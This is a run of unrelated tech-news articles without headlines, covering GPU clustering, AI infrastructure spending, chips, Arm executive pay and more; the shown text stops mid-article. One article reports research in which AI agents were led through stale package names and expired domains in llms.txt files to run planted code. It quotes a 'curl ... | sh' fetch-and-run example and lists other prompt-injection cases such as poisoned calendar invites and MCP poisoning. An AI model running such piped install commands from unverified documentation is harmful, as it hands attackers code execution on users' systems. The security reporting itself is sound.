Of course, systems on your local network won't always be idle. Their owners will frequently use the GPUs in their systems for gaming, creative work, or AI tasks of their own. If a user needs their GPU back, PAIR purports to gracefully deal with those changing conditions. It doesn't reserve dedicated capacity from other PCs; it's elastic by design and will make the best of the resources available to it at any given moment.

This unpredictable availability of spare cycles does, of course, mean that quality of service is not assured from a PAIR cluster. But for long-running tasks that don't need to be done on a strict deadline, being able to put spare compute to work could still be more effective than running an agent swarm on a single node.

PAIR sounds relatively simple to set up. It creates a proxy for popular AI front-ends like LM Studio and Ollama to connect to. PAIR then orchestrates work across available nodes on the network and returns the results of that work to the originating application on the head node.

In turn, participating PAIR nodes also need to be running Ollama or LM Studio and have a PAIR installation of their own. Nvidia says that enrolling systems in a PAIR cluster is straightforward and relies on mDNS or an IP address fallback for discovery. PAIR will also help initiate model downloads on participating systems, but Nvidia says that nodes don’t need to have identical models or sets of models downloaded to participate.

If more systems do have a given model available, though, it broadens the pool of potential nodes that can handle a request if the orchestrator agent needs a particular model’s capabilities.

PAIR will run on any DGX Spark (or other GB10) box, as well as GeForce RTX 20-series graphics cards or newer. It also supports Macs with M4-series processors or newer for inference. Accordingly, the PAIR client will be available for Windows, macOS, and Linux.

Researchers from KAIST, formerly known as the Korea Advanced Institute of Science and Technology, who collaborated with the National University of Singapore (NUS) and Singapore Management University (SMU), have developed a clip-on LED light that works in tandem with an AI app to detect hidden cameras. According to The Chosun Daily, the team, led by Professor Han Jun of KAIST’s School of Computing, called the technology SweepLED [PDF], and it used an LED light grid that magnetically snaps to your power and an AI-powered app to analyze the image taken.

There are many ways to detect hidden cameras using your smartphone — this includes shining a flashlight around the room to spot tiny reflections coming from tiny lenses, using your phone’s camera to detect infrared emissions from hidden cameras, or using camera apps with reflection analysis. However, the first two methods require manual scanning, meaning you’re likely to miss something small and unnoticeable, while the last method is prone to false positives. Because of this, the research team decided to make their own solution using artificial intelligence.

First, they built a $7 (around KRW 10,000) LED grid that snaps to the back of your camera phone. These lights change direction continuously, allowing the reflections on different surfaces to move or disappear altogether as they move around. Since most cameras, including hidden ones, have a unique structure with their lenses, aperture, and sensor, they often exhibit a distinctive reflection pattern which SweepLED can reliably detect. The team tested the gadget in real-world settings, running it across 30 items, some of which have embedded hidden cameras, and it was able to achieve a 93.9% detection accuracy. This makes it a huge improvement over manual methods, which are tedious and prone to false positives.

Hidden cameras placed in private areas like restrooms, changing rooms, and even some rental properties and hotel rooms are slowly becoming a problem across the world, especially in East Asia. In fact, the issue has become so bad in South Korea that women started protesting it in 2018. So, one way anyone could protect themselves against voyeurs is to use this gadget, which is faster, more reliable, and easier to use compared to checking the area manually yourself. Unfortunately, this will not protect you against the over 40,000 security cameras all over the world that are streaming footage without any security, and the proliferation of smart glasses that are recording video and taking photos without the knowledge of people around them. Aside from privacy concerns, this also raises security issues, which is why the U.S. Air Force has banned the use of the gadgets in all its bases.

PricewaterhouseCoopers LLP (PwC) estimates that spending on AI data centers could reach as much as $31.6 trillion in the next decade and a half, with optimistic outlooks suggesting that capital expenditure could potentially hit $50 trillion. Bloomberg reports that this amount exceeds the spending that railways, electrification, or the internet required when they were being set up for the first time. It also pointed out that investments in AI data center infrastructure aren’t a one-time expense that would last decades, unlike railroad networks, the power grid, or fiber optic cables — instead, data center operators are expected to purchase new GPUs and related infrastructure every four to six years.

GPU development is happening at breakneck pace, with Nvidia, AMD, and other manufacturers releasing new generations every two to three years. In fact, one Google architect said that a data center GPU service life is only about one to three years, which has got some experts concerned that GPU depreciation could be the next big crisis for hyperscalers. “Railways. Electrification. The internet. Each required enormous amounts of capital and defined an era,” the publication reiterated from the report. “The AI infrastructure cycle underway dwarfs all three. This one resets every four to six years — and shows no signs of ending.”

Nvidia and other chip manufacturers would be some of the biggest winners in this spending spree, but other hardware industries would also benefit, like networking equipment and even the copper material needed for running power inside data centers. PwC is confident in its forecast, especially as it claimed that both capital and demand for the AI build-out exist. It also broke down the investment in each region — spending in the U.S. is projected to hit $15.1 trillion, followed by the Asia-Pacific region, including China and India, at $8.2 trillion. Europe will likely spend $5.6 trillion, and it’s trailed by the Middle East at $1.1 trillion and Africa, with $255 billion.

The AI build-out is not without risks, though. The report cited power availability, data sovereignty requirements, and chip availability as factors affecting the build-out. For example, data centers in the U.S. are forecasted to consume 20% of its total power supply by 2035, which is why operators are turning to natural gas turbines for on-site power. However, this has also led to jet engine shortages, which is why SpaceX has started in-house turbine blade manufacturing to cut delivery delays by up to 18 months. It also said the geopolitical tensions, like trade bans on rare earth elements and high-end chips, could cut the global investment forecast by 20%.

There are still some concerns that the current AI boom is a bubble that will pop sooner or later. This is especially true as some AI tech companies currently have “hidden debt” worth around $1.65 trillion, while costs have started spiking as AI companies like OpenAI look for a path towards profitability. Despite that, Nvidia is still going full steam ahead, partnering with several firms to build a $500 billion AI infrastructure fund for further AI investments.

If, like mine, your gaming rig spends most of its life doing nothing these days, a pair of startups would be willing to pay you something close to minimum wage for its downtime. Abu Dhabi-based Far Labs and Austin-based Evolving Edge are building marketplaces to farm AI inference out to idle consumer hardware, according to an IEEE Spectrum report.

Far Labs plans to launch its Far AI platform in the coming weeks, claiming latency of 100 ms or less, while Evolving Edge is running an open beta. "Imagine Uber or Airbnb, but for AI inference computing tasks," Ilman Shazhaev, founder and CEO of Far Labs, told the outlet. Both companies are targeting smaller open-source models rather than frontier-scale workloads, and they’re joining established players, including the Utah-based Salad platform, which lists more than 60,000 daily active consumer GPUs on its network.

Far Labs’ proprietary scheduler splits a model into pieces spread across multiple machines, and an orchestrator and a load balancer then reassemble the partial outputs into a response. Evolving Edge distributes jobs with Ray, the open-source framework used inside conventional data centers.

Letting a stranger’s workload onto a personal machine obviously comes with some risks for hosts, such as malicious code ending up on the device or the person on the other end gaining access to local files. The two firms’ solution to this is isolation, with inference running as a sandboxed workload with encrypted communication and hard limits on GPU, CPU, memory, storage, and network access. Customers get no direct access to the host machine, and Evolving Edge has open-sourced its node software so hosts can audit what runs on their hardware.

Salad sells consumer-GPU compute to customers for prices starting at $0.02 per hour, and the card’s owner only sees a slice of that… pie after the platform takes its cut. We examined Salad in 2021, back when its network mined Ethereum, estimating that the company had generated roughly $3.6 million from users' PCs while distributing $500,000 in rewards, which works out to about 14 cents on the dollar for the people supplying the silicon.

Electricity costs then chew through whatever's left. An RTX 4090 draws 350W to 450W under sustained load, roughly $40 to $50 a month at $0.15 per kWh if the card runs around the clock, so a rig earning less than that is effectively paying for the privilege of having a job. However, IEEE Spectrum's report doesn't include payout rates for either new platform.

Both founders make the point that distributed networks ride out failures that otherwise cripple centralized clouds. John Federico, founder and CEO of Evolving Edge, cited the AWS outage last October that left Internet-connected smart beds stuck in their upright positions, and told IEEE Spectrum his network could lose 100 of 250,000 nodes “and it wouldn’t matter.”

All that aside, distributed AI compute has a credibility problem to overcome. A research preprint from June claimed that Pearl, a blockchain marketed as converting cryptocurrency mining into AI work, ran the equivalent of 320,000 RTX 3090-class GPUs on random matrix math while producing no useful AI computation. Far Labs and Evolving Edge route real customer inference jobs rather than token rewards, which puts them a step ahead of that model, but their cost and latency figures are unsubstantiated claims until, and if, the networks operate at scale.

Researchers have managed to execute code within an "llms.txt" file that many large companies use to instruct AI agents on how to scrape the website correctly. Back when the internet exploded and search engines became popular, sites started publishing a "robots.txt" file to guide search bots to content. That's still widely used today, but it's now been supplemented with "llms.txt", a file containing textual instructions for AI agents to follow.

The experts from Pandex got their own code to run on AI agents from "companies you have definitely heard of" in the Fortune 500 list, and illustrated yet another way in which the once-sacred distinction between "data" and "code" is all but dead.

The purpose of llms.txt is straightforward: it's often hosted on a software product's website and contains a brief description, setup instructions, and quick installation steps — think of the usual README file, but written for agents. When a bot reaches the website, instead of spending precious tokens and context window space parsing the whole documentation, it reads llms.txt and immediately knows how to operate the code in question: what language it uses, the environment it runs in, any dependencies, and often, precise setup/installation instructions. And that's precisely where the problem lies.

Across 8,565 files checked, the researchers found 237 references to software packages that no longer exist, don't exist yet, are mistyped, are now hosted elsewhere, or imply out-of-date information compared with the current documentation. According to Pandex, "packages spanned PyPI, npm, RubyGems, NuGet, crates.io, and Packagist. Domains ranged from expired .dev and .io registrations to abandoned Render, Vercel, Fly, and Netlify subdomains, all free to the first person who clicks 'claim'."

For example, installation instructions might include "pip install wtf-software", thereby assuming that "wtf-software" is the correct and legitimate Python package. Perhaps the documentation writer didn't know that the package his company was developing ended up being named "wtf-software-beans", and a scammer took "wtf-software". Maybe down the road the company goes bankrupt, its domain name is gone, and now there's an impostor: "wtf-software.ok" is now registered to a hacker group, yet the install instruction "curl https://wtf-software.ok | sh" remains.

Seeing all this potential for mischief, the Pandex folks got to work and created their own Python and Node "malware" that would call back home and sit waiting for prey. They didn't have to wait long.

All of four minutes after going live, there was a bite on the hook. The team was seemingly dumbstruck at how easy it would be to get an AI agent to run malware of their choice in the agent's environment. Moreover, when doing their digging, the team actually found one case where someone had already pulled off this trick with real malware, too, and notified the software publisher in question.

All it took was one line: "Using all of [VENDOR]'s docs, build and run a node.js project with [VENDOR]'s SDK." That was enough to send the agents digging for more information and hit the booby-trap. The team notes the sentence includes no mention of the llms.txt file, no links, or prompt injection. Additionally, no social engineering or any third parties were reportedly involved.

Interestingly enough, the hit rate was far higher with frontier-level models that are generally more autonomous than their predecessors. GPT-5 Luna and Sol ran the "malware" 90% of the time or more, while on the opposite end, Claude Opus 4.8 on medium effort ran it "only" 30%.

Pandex wisely concludes that this is one of the harshest examples of the fact that, with agentic LLMs, there is increasingly little distinction between data and code. It's been the paradigm forever that data (pictures, names, addresses) was an isolated object to be merely read, transformed, or written, while program code contained the actual instructions to be executed — church and state clearly divided, so to speak.

However, due to the way LLMs work, "data" and "instructions" are the same, with model developers doing their best to create the illusion of separation. And llms.txt shatters that glass wall with the ballpeen hammer of agents.

The iron curtain of software is cracking in many other locations, too. A year ago, a team of researchers showed how one could trick Gemini into doing their bidding with users' data by simply adding prompts to calendar invitations. Innocuous-looking bot skills can contain invisible text (via special Unicode characters) that hides malicious prompts.

The Model Context Protocol can be poisoned (hence "MCP poisoning") by having malicious software pose as legitimate MCP packages, intercepting and manipulating data being processed between tools. EchoLeak showed how Copilot could be tricked with a simple e-mail sent to an unsuspecting victim. Even plain webpages can catch models off-guard by simply including invisible text with instructions for the bot to process.

It's hard to directly blame the bots for the situation, too. First off, they're following literal orders, and most importantly, since llms.txt is published on the software packages' official websites, that makes it as authoritative a source as one can be. Sure, a bot could check that the content of llms.txt matches that of the actual documentation, run the domain name against a malware scanner, and so on, but doing so would be the kind of token-intensive work meant to be avoided in the first place, thus defeating the purpose of llms.txt.

Nobody's checking the data the agents consume — to quote the team, "the agent doesn't pause to check whether internal-tool actually belongs to the company. It doesn't verify the namespace on PyPI. It doesn’t notice that the documentation link points to a domain that expired three months ago." Plus, the security suites and network permissions in whichever environment the agent and/or their handler are in probably have the major package repositories all whitelisted.

The fact that many software ecosystems are subject to a high level of churn doesn't help matters. An analysis of 13 million packages showed that around 30% to nearly 60% of packages across the Node.JS, Go, and .NET worlds lost development activity within two years of their release — nasty figures, even if they include packages that are actually stable, just not frequently updated. Each abandoned package can be mentioned in an llms.txt file that didn't get updated.

Then, there's the problem that llms.txt itself is not a user-facing file. The file doesn't appear in a user's browser, and therefore, its update likely gets forgotten or indefinitely postponed.

The constant rush-to-market mentality of the modern age and the ease with which one can ask a bot to write and publish code likely doesn't help. It's exceedingly easy to kick off a new product and preemptively create documentation with placeholder names to fix later... that aren't. In big corporations, the person responsible for writing the documentation might not be the same person who does the code, while a third person might be responsible for checking everything afterward.

And in a twist of irony, any or all of these people will be using LLMs and end up subject to slopsquat/hallusquat attacks, in which the bot writing documentation or project code hallucinates predictable package names that malfeasants can calculate and squat ahead of time.

Supply-chain attacks became increasingly common as contemporary high-level languages allowed for faster development speed but also increased package and business churn. Now with agents in the mix, the situation is likely to get worse before it gets any better. As Microsoft's Mark Russinovich et al stated, "there is no simple 'fix' for these behaviors", an assessment supported by the fact that a lot of high-level contemporary development is targeted at the problem.

A developer has taken to social media to praise his revitalized smart TV, optimized to work better-than-new thanks to Claude Code. Mert Cobanov, currently a Senior AI Engineer at Refik Anadol Studio, chatted with other Twitter/X users about his "unbelievable" fast and smooth TV experience (machine translation). Moreover, the dev has created a Clean up your Android TV site to help others implement the same optimizations.

Sadly, I understand Cobanov’s inspiration for smart TV debloating. TV makers often offer screens with laggardly processors, meager amounts of RAM, and slow storage. When new, they may already be sluggish performers, but after app and Android TV updates (if you actually get OS updates), system performance can get even worse. This makes a market for set-top boxes and HDMI sticks, such as the Amazon Fire TV line. However, that’s extra complexity and more devices/remotes for end users. Not ideal.

"This morning, I opened the developer options on my Android TV and told Claude to connect to the TV via ADB and debloat it," wrote AI engineer Cobanov on X. "It started controlling the TV, deactivated apps, installed FLauncher. Shortened animation durations. Doing all this without root access, by the way." The big payoff was that the TV now runs smoother than when it was new, four years ago, asserts Cobanov. "It's unbelievable. You should definitely check it out," readers are encouraged.

The how-to web page that this project precipitated is pleasantly brief. There are just four steps required to spring-clean your TV OS. Then, the whole prompt Cobanov wrote to get Claude Code (or Codex) to work its magic is included for you to copy/edit.

There are warnings associated with this process, which you should pay attention to if you are going to do this with your own one-eyed monster. However, Cobanov says that if you follow his guide, "Nothing is uninstalled, so every step can be reversed. The agent keeps a list of what it disabled, so telling it ‘re-enable everything you disabled’ is enough." Instructions are also provided to bring back any single app that you may regret wiping during the debloating process.

Nvidia and MediaTek this week announced a major expansion of their partnership under which Nvidia is investing $3.5 billion in convertible bonds issued by MediaTek, while the latter adopts NVLink Fusion platform for its custom AI accelerators, local AI systems, and automotive platforms. On the one hand, MediaTek's adoption of NVLink Fusion enables it to design accelerators for Nvidia's fully developed rack-scale platforms. On the other hand, Nvidia gets a slice of the growing market of custom AI accelerators.

Having become the world's largest supplier of AI accelerators, Nvidia does not have direct rivals of comparable size. However, in a world where custom AI accelerators are becoming more widespread as more companies see benefits in bespoke solutions, Nvidia must hedge against their rise and ensure that its addressable market expands even if it does not win every accelerator design. One of the ways to achieve this is to spread its NVLink Fusion platform beyond its own products and to popularize it among users of custom hardware. The deal with MediaTek is aimed at exactly that.

AWS, Google, Meta, Microsoft, and now OpenAI are developing their own AI accelerators partly to reduce dependence on expensive merchant GPUs. Nvidia cannot necessarily prevent this trend, so NVLink Fusion gives it another strategy: if customers replace some Nvidia GPUs with their own XPUs, Nvidia wants those XPUs connected using NVLink, paired with Nvidia CPUs where appropriate, and deployed within Nvidia networking and rack architectures. Under the new arrangement, customers can bring an XPU architecture to MediaTek, then MediaTek and Nvidia will supply much of the technology surrounding the actual compute engine.

MediaTek will use NVLink Fusion as the foundation for custom accelerators that can evolve alongside future Nvidia architectures. The platform includes the NVLink Fusion chiplet, which connects custom XPUs to Nvidia's NVLink scale-up fabric using electrical or photonic interconnects; NVLink-C2C, which provides high-bandwidth, energy-efficient links between XPUs, Nvidia Rosa CPUs, and other compatible processors; and Nvidia NVHBM, which enables customized memory configurations and reserves more silicon area for compute.

Using Nvidia's NVLink Fusion platform for custom AI accelerators enables potential MediaTek customers to concentrate on their differentiated compute architecture while Nvidia and MediaTek provide connectivity, memory architecture, packaging, manufacturing, and rack-level technologies. Essentially, MediaTek's customers will get a pre-developed rack-scale platform for their custom AI accelerators, something they cannot get elsewhere. Since Nvidia tends to supply AI infrastructure platforms, not just AI accelerators, the deal with MediaTek fits perfectly into its strategy.

It should be noted that while hyperscalers like AWS, Google, or Microsoft can develop their own rack-scale solutions for AI and other workloads, smaller companies barely have enough resources to develop the whole rack-scale machine using off-the-shelf components.

"MediaTek is one of the world's great semiconductor companies, with exceptional expertise in system-on-chip design, connectivity, leading performance and power efficiency," said Jensen Huang, founder and CEO of Nvidia. "Together, we are building platforms that bring Nvidia accelerated computing to new markets and give customers the freedom to create differentiated AI systems at enormous scale."

The companies are also expanding their work on local AI computing. MediaTek previously collaborated with Nvidia on the GB10 Grace Blackwell Superchip powering DGX Spark. The collaboration was considered positive, so Nvidia and MediaTek now plan to cooperate on multiple generations of RTX Spark and DGX Spark processors for client systems, AI developer supercomputers, and enterprise workstations.

Finally, Nvidia and MediaTek will continue their multi-generation automotive collaboration. MediaTek's Dimensity Auto platforms integrate Nvidia AI technologies and RTX graphics for intelligent vehicle cockpits and can operate alongside Nvidia Drive AGX. Future generations will continue to wed MediaTek's automotive SoC expertise with Nvidia's accelerated computing, AI, graphics, and software technologies to build more advanced software-defined and AI-powered vehicles.

BT, the UK’s largest telecommunications provider, is slowly upgrading its entire network to fiber, with the company looking to move residential endpoints away from copper, and it seems that it will make a killing when it recycles its old cables. According to The Guardian, the company has signed a deal with EMR, one of the largest cable recycling companies in the country, for the recovery of around 200,000 tons of copper over a span of four years. Although the total value of the deal is unclear, the latter has also already paid more than USD 134 million (GBP 99 million) to the telecoms company for a few thousand tons of copper. Aside from the deal with EMR, BT and its subsidiary, Openreach, could also sell the recovered copper directly on the spot market.

More than 22,000 metric tons have already been recovered from the system since BT started its network upgrade, with the metal costing around USD 8,500 per metric ton on the market. If the company sold all that material in the open market, it would have made revenue of USD 187 million. However, the massive AI-driven demand for copper has pushed prices to a record high of more than USD 14,000 per metric ton. The upgrade work is expected to continue well into the 2030s, with Openreach estimating that it could still recover up to 200,000 metric tons of material. That means the company could make an estimated USD 2.7 to 2.8 billion just from the sale of these old network cables.

The AI boom is pushing up demand for several industries — from high-tech products like memory and storage chips and jet engines to “exotic” materials such as rare earth elements and glass cloth fibers. Most people will not equate copper to AI data centers, especially as the PCBs used in their servers often contain so little of the metal, relatively speaking. AI data centers are also switching to optical interconnects and silicon photonics, meaning the internal networks of these data centers will increasingly rely on fiber optics.

However, data centers are forecast to use 194 gigawatts of power by 2035, and all this power can only be transferred via metal cables. While you can also use aluminum wires to transmit power, copper is often the preferred choice for its stability, better electrical conductivity, increased durability, and superior thermal performance. So, as AI hyperscalers expand their operations and build more data centers, the demand for copper wires will also increase accordingly. Utility providers will also need to purchase more cables as they upgrade the grid to deliver the electricity needed by the AI infrastructure.

The AI-powered boom for copper material is a win-win situation for BT, Openreach, and their subscribers. The people will now get end-to-end fiber connections in their homes, hopefully giving them better speed and reliability, while the providers are basically getting a discount on the upgrades that they’re making on their networks.

Samsung has unveiled a three-phase roadmap to progressively transform high-bandwidth memory (HBM) into an integrated memory-and-compute system, culminating in the company's zHBM architecture, which places the processor directly beneath the DRAM stack and eliminates the conventional 2.5D interposer link between the two. Detailing the roadmap at Hot Chips 2026, Samsung's Sangwook Han, of the company's DRAM design team, identified the base die as the key enabler of the evolution, which began with the company’s decision to manufacture the HBM base die on an advanced logic process.

In conventional HBM, the base die (B-die) was fabricated on the same DRAM process node as the core dies (C-dies) in the stack above. Starting with HBM4, Samsung moved the base die to a 4nm logic process, primarily to reduce power draw and minimize die area. Additionally, it gave Samsung a much more capable piece of silicon.

The company contends that a die built on the same class of logic process as XPUs could do much more than serve as a data interface. Samsung now plans to progressively offload more functions into the base die, eventually removing the physical gap between memory and the XPU entirely.

The current state of HBM and its growing constraints

The current HBM architecture comprises multiple DRAM core dies stacked vertically on a base die and connected through thousands of TSVs. The stack sits beside an XPU on an interposer, with the base die bridging the memory and compute silicon.

Bandwidth has been the main driver of HBM’s evolution. The current HBM4 stack has roughly 1 to 5 TB/s of bandwidth obtained through 1,000 to 2,000 I/Os running at about 8 to 16 Gbps each. These figures are expected to rise with upcoming HBM generations. The problem is that conventional ways of scaling bandwidth present significant challenges.

TSV signaling speed is difficult to increase, so HBM generations have added more TSVs instead. However, this consumes area and forces tighter TSV pitches. The PHY has also grown more demanding. HBM4 doubled the data I/O count from 1,024 to 2,048 DQs, and signaling speed keeps rising. Power is an even bigger issue. While energy per bit is improving, total HBM power continues to rise as bandwidth is scaling faster. Samsung says this is why HBM4 moves the base die to an advanced logic process, as the denser, more efficient logic reduces power draw.

This move underpins and enables the three-phase plan. An advanced logic node shrinks the interface circuitry while enabling the HBM base die to perform functions previously handled by the processor. Samsung calls this direction custom HBM, or cHBM, which keeps the conventional DRAM stack but customizes the logic underneath it for a specific accelerator.

Phase 1: Reclaim XPU area

The first phase is about handing processor area back to compute in what Samsung calls “XPU area reclamation.” AI accelerators are hitting familiar scaling walls, such as slowing process scaling and dies pressing against reticle and interposer limits. To expand compute, Samsung plans to evict non-compute blocks, moving their functions to the base die’s underutilized silicon.

The first target is the HBM Physical Interface (PHY), one of the largest blocks on the base die. Samsung proposes replacing the traditional interface with a much smaller die-to-die (D2D) link. On an 11 × 12.8mm HBM4 base die, the conventional PHY occupies more than 8 × 4mm, while the custom HBM D2D block is about 8.5 × 1.5mm, with channel depth cut from 5.5mm to 2mm. Because the matching interface on the XPU shrinks too, Samsung also reclaims processor silicon.

Conversely, shrinking the same power into less silicon increases power density and creates hotspots. Samsung’s answer is a Heat Path Block (HPB) that provides an alternative route for heat to exit the concentrated interface region. The company says an HPB covering more than half of the PHY can slash peak temperature by more than 35%.

The bigger Phase 1 change is moving the memory controller from the XPU to the custom HBM base die. Han estimated controllers account for 5 to 10% of an XPU's area — space that, refilled with compute, could yield a 10–20% performance gain. Moving the controller next to memory also enables a new SRAM-based repair scheme in which failed C-die addresses can be redirected to SRAM on the base die, avoiding the need to sacrifice an entire spare row or column for a single defective cell.

Phase 2: Making the die a more useful smart memory subsystem

Even with the controller moved in, Samsung says a substantial portion of the base-die area remains unused. Phase 2 fills that space with more functions, first with some relatively straightforward additions. The company proposes SoC-like telemetry and reliability features, including thermal, voltage, process, and aging sensors, as well as more advanced self-test hardware.

It also wants to use the edge of the base die for direct memory expansion, arguing that capacity is becoming as important as bandwidth. Dedicated controllers and PHYs could connect a secondary tier of external memory directly to custom HBM, rather than going through conventional PCIe expansion. Han said that extra memory could be LPDDR or even HBM, offering higher bandwidth and lower latency than PCIe-based memory extension.

Last in Phase 2 is compute — right on the base die. Samsung wants to place selected processing elements (PEs) under the DRAM, offloading memory-bound work while compute-heavy operations remain on the GPU. It calls this broader 2.5D architecture advanced HBM (aHBM), citing benefits such as less traffic across the interposer and reduced latency and I/O power draw.

Phase 3: zHBM goes fully 3D, placing the processor underneath the memory

Phase 3 appears to be Samsung's most radical step, with the company halting HBM architecture optimization and rebuilding it instead. Introducing zHBM, Samsung's “ultimate solution” for maximizing bandwidth under future AI's brutal power limits.

The zHBM concept eliminates the conventional side-by-side arrangement of XPU and HBM across an interposer. Instead, the processor sits directly beneath the DRAM stack in a true 3D structure. This architecture allows Samsung to replace the large edge PHY with distributed I/Os spread across the die. Data no longer has to travel laterally across an interposer, thereby shortening the physical path and eliminating the need for conventional HBM PHY and D2D link interfaces.

Samsung says the biggest payoff is power. Its projections show zHBM cutting I/O power by around 70% compared with HBM5. In another example, Samsung models roughly 2.3X more DRAM bandwidth while reducing memory power by about 100W compared to a four-stack HBM4E system.

On the flip side, thermals are the obvious complication. Han said Samsung is targeting roughly four-high zHBM stacks, compared with the much taller 12-high or 16-high configurations possible with conventional HBM, specifically because of heat. Distributed I/O helps by spreading the circuitry rather than concentrating it into hotspots, but zHBM is a balancing act involving capacity, bandwidth, heat, and physical integration.

Manufacturing zHBM will also require advanced wafer-on-wafer bonding and hybrid copper bonding to meet the required I/O density, with a much tighter co-design process between the DRAM and SoC teams. Samsung did not provide a firm launch date or timeline for the phases. However, HBM4’s 4nm logic base die is the concrete starting point, while cHBM and aHBM are nearer-term extensions, with zHBM as the long-term endpoint.

British semiconductor and software design company Arm is asking shareholders to approve a massive performance-based pay package for CEO Rene Haas worth up to $800 million if the company reaches a $2 trillion valuation, a move that has drawn pushback from proxy advisors ahead of a September 9th vote. According to an August 31 report by the Telegraph, the company is facing a potential shareholder revolt as proxy advisory firms such as Institutional Shareholder Services (ISS) and Glass Lewis urged investors to vote against the compensation plan, calling it excessive.

The compensation is arranged through a one-time Value Creation Plan (VCP) consisting of 425,000 Performance Share Units (PSUs), with the award divided across three market-cap milestones, according to Arm's regulatory filings. Haas earns 25% if Arm reaches $1 trillion by March 31, 2029; 50% cumulatively if Arm reaches $1.5 trillion by March 31, 2030; and the full award if Arm reaches $2 trillion by March 31, 2031. Arm will determine whether each target has been reached by using its rolling-average closing share price over any 60-day period prior to the corresponding deadline.

The shares also carry lengthy vesting periods. Awards associated with the $1 trillion, $1.5 trillion, and $2 trillion milestones vest on April 1 of 2031, 2032, and 2033, respectively, subject to Haas remaining employed by Arm. Meanwhile, missed interim milestones can roll forward. For example, shares attached to an earlier target can remain available if Arm subsequently reaches a higher milestone. The roughly $800 million maximum payout reflects the implied value of all 425,000 shares if Arm reaches the $2 trillion target, which corresponds to a share price of roughly $1,880.

ISS has raised concerns about the potential size of the award and the use of VCP-style compensation in Britain. The advisory firm said such plans remain uncommon in the UK market and can create the prospect of extremely large gains, while their effectiveness at improving corporate performance remains unproven. Glass Lewis has similarly recommended shareholders oppose the proposal, describing Haas's potential award as “excessive.” Arm currently has a market capitalization of around $264 billion, according to The Telegraph, leaving a substantial climb before the first $1 trillion milestone comes into range. The company's servers currently capture over 45% of data center revenue.

Arm argues that its compensation structure needs to be competitive with that of the US technology industry. The Cambridge-based company is listed on Nasdaq, Haas is based in California, and many of the companies competing with Arm for executives and engineers are American technology and semiconductor firms. Arm said its approach is designed around US compensation standards reflecting “the location of our key competitors for executive and other talent,” its Nasdaq listing, and the location of its CEO. The revised remuneration policy also raises the maximum achievement level for Haas's regular PSU awards from 125% to 200%, in addition to the separate VCP.

The shareholder advisers are also calling out Arm's corporate governance. ISS has recommended votes against the re-election of Haas and Arm chairman Masayoshi Son, citing insufficient independence on the company's board. Arm's own filings show that Japan’s SoftBank beneficially owned about 86.4% of Arm as of May 21, giving the Japanese conglomerate control over most matters put to a shareholder vote and substantial rights over board composition. Arm qualifies as a “controlled company” under Nasdaq rules and therefore uses exemptions from some governance requirements that apply to companies without a controlling shareholder.

Haas's expanding relationship with SoftBank adds another layer of governance concern. He has served on SoftBank's board since 2023 and was appointed CEO of SoftBank Group International in April 2026, a part-time role overseeing some of SoftBank's portfolio companies. Arm itself acknowledges in its annual filing that Haas's and Son's overlapping positions across the two companies could create, or appear to create, conflicts of interest. SoftBank's 86.4% holding also gives it enough voting power to determine the outcome of Arm's ordinary shareholder resolutions in most circumstances, making rejection of the pay proposal unlikely without SoftBank's support.

The ambitious $2 trillion target — which would make Arm the UK’s first trillion-dollar company — comes as the company attempts a significant business expansion. The company introduced its Arm AGI CPU in March 2026, pushing beyond its longstanding role of licensing processor IP and compute subsystems into Arm-designed production silicon aimed heavily at AI infrastructure. Arm specifically cited that expansion when introducing the revised remuneration policy, framing the VCP around what its remuneration committee calls “exceptional, market-leading growth” over the next five years.

Huge valuation-linked CEO packages have also become increasingly prominent in the US. Most famously, Tesla shareholders approved a performance package for Elon Musk in November 2025 that could ultimately be worth close to $1 trillion, with awards tied to market cap and operating milestones, including taking Tesla to an $8.5 trillion valuation.

TIME published its 2026 TIME100 AI list last week, with one notable omission: Jensen Huang, one of eight TIME-designated “Architects of AI,” whose GPUs power the training infrastructure for all frontier AI models and whose company has just reported one of the largest sets of quarterly earnings in American corporate history. AMD CEO Lisa Su is missing too, while Ben Affleck, Senator Bernie Sanders, and Paris Hilton all managed to clear a bar that the heads of the industry’s two dominant GPU makers apparently couldn’t. Aside from TIME’s Architect of AI and joint Person of the Year designation for 2025, Huang has featured on every previous edition of the TIME100 AI. This year, however, Nvidia’s sole entry is Josh Parker, the company’s head of sustainability.

Broadcom CEO Hock Tan, Micron CEO Sanjay Mehrotra, SMIC co-CEO Liang Mong Song, and Huawei HiSilicon president He Tingbo all appear on the 2026 list, joined by Cerebras’ Andrew Feldman, CoreWeave’s Michael Intrator, and Nscale’s Josh Payne. Together, the roster includes Nvidia’s HBM supplier, two of its biggest GPU cloud customers, its custom-accelerator rivals, and China, which is trying — and so far struggling — to replace Nvidia altogether.

Parker’s profile, which appears under the Thinkers category, focuses on data center energy and water consumption, alongside Nvidia’s tripling of Scope 3 emissions in two years, and the Rubin platform’s shift to 100% liquid cooling. “Nvidia is at the center of the AI revolution,” Parker told TIME.

TIME editor-in-chief Sam Jacobs wrote in the list’s accompanying article that selection was led by editor Ayesha Javed, and that the 100 honorees represent the year’s “key storylines and who, in our opinion, are having the most influence in driving these developments.” Now in its fourth year, this edition of the TIME100 AI appears to have focused especially on featuring the new additions to TIME’s community of AI leaders, with Mark Zuckerberg, Demis Hassabis, Sundar Pichai, and Satya Nadella representing four other honorees, arguably deserving of a space on this year’s list, churned out.

Su’s strong TIME back catalog makes her omission all the stranger still. The magazine named her its 2024 CEO of the Year, put her on the 2024 AI list and the main TIME100 in 2025, and included her among December’s Architects of AI.

Nvidia’s second-quarter results, reported August 26, totaled $96.2 billion in revenue, including $89 billion from data centers, up 117% year-over-year. The company became the first to cross a $5 trillion market cap last October, and posted a $57 billion record quarter three weeks later.

Around 2015, a trio of Pakistani friends took it upon themselves to digitize a large number of out-of-print books in Urdu, many of them lithographs — they call it the Ibteda Digital Library. They did it for the love of the language, with no budget or support, but after 576,000 shutter counts on a D5300 camera, 326,000 on a D3300, and 526,000 dual-page photos, they have now had to call it quits after a decade. However, eventually one of the trio came up with a finely-tuned machine-learning process that may eventually be of help to similar projects worldwide. The project certainly stands in contrast to the current practice of large AI companies scanning rare books and destroying them to train AI chatbots.

The team didn't have any formal budget worth and bought all of the books out of their own pockets. They kicked off the efforts with a single Nikon D5300 camera, some LED bulbs, and a glass sheet taken from a photocopier to squeeze the books against. The process was manual in more ways than one: besides turning the pages by hand, the members spent copious amounts of time in Photoshop post-processing the results.

